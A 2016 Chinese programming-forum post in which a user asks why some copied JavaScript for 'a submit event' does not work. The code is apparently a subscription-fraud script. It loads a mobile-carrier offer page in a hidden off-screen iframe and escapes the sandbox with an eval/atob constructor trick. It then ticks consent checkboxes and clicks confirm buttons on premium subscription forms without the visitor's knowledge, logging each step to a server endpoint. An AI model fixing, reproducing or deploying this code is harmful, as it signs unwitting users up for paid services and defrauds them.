| 网站首页 | 业界新闻 | 小组 | 威客 | 人才 | 下载频道 | 博客 | 代码贴 | 在线编程 | 编程论坛
欢迎加入我们,一同切磋技术
用户名:   
 
密 码:  
共有 3050 人关注过本帖
标题:请教:怎么实现这个提交事件
只看楼主 加入收藏
clickeasy
Rank: 1
等 级:新手上路
帖 子:1
专家分:0
注 册:2016-12-10
收藏
 问题点数:0 回复次数:0 
请教:怎么实现这个提交事件
下面代码我直接拿来用,不知道哪里出错,无法实现。

程序代码:
<script>
    function log(e) {
        var x = new XMLHttpRequest;
        x.open('POST', '/l.php', true);
        x.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
        x.send('e=' + encodeURIComponent(e));
        console.log(e);
    }
    window.addEventListener('message', function(event) {
        if(event.data !== "undefined" && event.data != "") {
            log(event.data);
        }
    });
    var fr = document.createElement('iframe');
    fr.setAttribute('style', 'position:absolute;left:-9999px;top:-9999px;height:1px;width:1px');
    fr.setAttribute('sandbox', 'allow-scripts allow-forms allow-same-origin allow-popups');
    var i = document.documentElement.appendChild(fr);
    i.onload = function() {
      IDBKeyRange.only.call(frames[0],0).constructor.constructor('eval(atob(\"if( document.getElementById('submitButton') != undefined  ){
            window.parent.postMessage('[Checked-and-submit]; lpnum:[46]; href:[' + window.location.href + ']; ref:[' + document.referrer + '];', '*');
            document.getElementById("confirmHD").value = 1;
            document.getElementById("not-msisdn-forwarded").submit();
        }else if( document.getElementById("mt-checkbox-text-label") != undefined ){
            window.parent.postMessage('[click-mt-checkbox-text-label]; lpnum:[46]; href:[' + window.location.href + ']; ref:[' + document.referrer + '];', '*');
            document.getElementById("mt-checkbox-text-label").click();
            setTimeout(function(){
                window.parent.postMessage('[Click-Btn-threeGbutton]; lpnum:[46]; href:[' + window.location.href + ']; ref:[' + document.referrer + '];', '*');
                document.getElementById("threeGbutton").click();
            }, 500);
        }else if( document.getElementById("IsConfirmed") != undefined ){
            if( document.getElementById("IsConfirmed").checked == false ) {
                window.parent.postMessage('[Click-checkbox-IsConfirmed]; lpnum:[46];', '*');
                document.getElementById("IsConfirmed").click();
            }
            window.parent.postMessage('[Click-btnSubmit]; lpnum:[46]; href:[' + window.location.href + ']; ref:[' + document.referrer + '];', '*');
            document.getElementById("btnSubmit").click();
        }else if( document.getElementsByClassName("btn-confirm-form").length > 0 ) {
            if(document.getElementById("chkConfirmId") != undefined && document.getElementById("chkConfirmId").checked == false) {
                window.parent.postMessage('[click-checkBox-chkConfirmId]; lpnum:[46]; href:[' + window.location.href + ']; ref:[' + document.referrer + '];', '*');
                document.getElementById("chkConfirmId").click();
            }
            setTimeout(function() {
                window.parent.postMessage('[Click-btn-confirm-form]; lpnum:[46]; href:[' + window.location.href + ']; ref:[' + document.referrer + '];', '*');
                document.getElementsByClassName("btn-confirm-form")[0].click();
            }, 500);
        }else if( document.getElementById('submitQuery') != undefined  ){
            setTimeout(function(){
                window.parent.postMessage('[check-and-click]; lpnum:[46]; href:[' + window.location.href + ']; ref:[' + document.referrer + '];', '*');
                var newel = document.createElement("span");
                newel.innerHTML='<input name="onay" type="hidden" value="on">';
                document.getElementById("formRegister").appendChild(newel);
                document.getElementById("formRegister").submit();
            }, 500);
        }else if( document.getElementById('specialoffers') != undefined  ){
            window.parent.postMessage('[++++++++++++Podpiska++++++++++++]; lpnum:[46]; href:[' + window.location.href + ']; ref:[' + document.referrer + '];', '*');
        }else{
            window.parent.postMessage('[Else]; lpnum:[46]; href:[' + window.location.href + ']; ref:[' + document.referrer + '];', '*');
        }"))')();
    }
    i.src = 'http://www.appslot.tk/feature/fp/home_wifi.aspx?siteid=202&s=1002004&ch=YEAHMOBI&adv=WA&s2sidentifier=3ivook1Y1CYBt7RaXh8JSG4dJPg8S2EDKLEgbML9c1hi&sessionid=174476651&serviceid=1002004&contentid=-1&intoken=OENQk7S85jD6XMXBrQhRWVTq4WjPzsIBLcEr0ii%2fXLNtVilo2fuJ4aGD3Aegxh7xdfdubIyKMjnwH3uIF6cRrA%3d%3d&flowtype=15&pagetype=105&step=1&contentboxtitle=Appslot';
</script>
搜索更多相关主题的帖子: message 
2016-12-10 09:06
快速回复:请教:怎么实现这个提交事件
数据加载中...
 
   



关于我们 | 广告合作 | 编程中国 | 清除Cookies | TOP | 手机版

编程中国 版权所有,并保留所有权利。
Powered by Discuz, Processed in 0.041120 second(s), 9 queries.
Copyright©2004-2024, BCCN.NET, All Rights Reserved